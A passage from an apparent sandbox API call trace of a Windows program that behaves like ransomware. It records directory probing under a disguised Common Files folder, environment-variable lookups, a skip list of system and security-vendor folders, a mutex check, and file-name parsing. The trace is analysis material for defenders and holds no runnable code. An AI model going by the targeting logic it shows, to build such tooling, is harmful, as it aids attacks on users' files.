nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0053.065] GetLastError () returned 0x2 [0053.066] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0053.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18D")) returned 0xffffffff [0053.066] GetLastError () returned 0x2 [0053.066] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0053.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18뭼R\x18j")) returned 0xffffffff [0053.067] GetLastError () returned 0x2 [0053.067] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18q")) returned 0xffffffff [0053.067] GetLastError () returned 0x2 [0053.067] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0053.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0053.068] GetLastError () returned 0x2 [0053.068] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0053.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0053.068] GetLastError () returned 0x2 [0053.068] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0053.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x88")) returned 0xffffffff [0053.069] GetLastError () returned 0x2 [0053.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0053.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0053.069] GetLastError () returned 0x2 [0053.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0053.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0053.070] GetLastError () returned 0x2 [0053.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0053.070] GlobalLock (hMem=0x440004) returned 0x550170 [0053.070] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.070] GlobalUnlock (hMem=0x440004) returned 0 [0053.070] GlobalLock (hMem=0x440004) returned 0x550170 [0053.070] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.070] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.070] GlobalUnlock (hMem=0x440004) returned 0 [0053.071] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.071] GlobalUnlock (hMem=0x44000c) returned 0 [0053.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.071] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0053.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.071] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0053.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0053.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.071] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.071] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0053.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.072] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.072] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.072] GlobalUnlock (hMem=0x44000c) returned 0 [0053.072] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.072] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.072] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.072] GlobalUnlock (hMem=0x44000c) returned 0 [0053.072] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.072] GlobalUnlock (hMem=0x440004) returned 0 [0053.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0053.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0053.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0053.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a440, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0053.074] GlobalLock (hMem=0x440004) returned 0x550170 [0053.074] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.074] GlobalUnlock (hMem=0x440004) returned 0 [0053.074] GlobalLock (hMem=0x440004) returned 0x550170 [0053.074] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.074] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.074] GlobalUnlock (hMem=0x440004) returned 0 [0053.074] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.074] GlobalUnlock (hMem=0x44000c) returned 0 [0053.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.075] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.075] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.075] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.075] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.075] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.075] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.075] GlobalUnlock (hMem=0x44000c) returned 0 [0053.075] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.075] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.075] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.075] GlobalUnlock (hMem=0x44000c) returned 0 [0053.075] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.075] GlobalUnlock (hMem=0x440004) returned 0 [0053.075] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.075] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", 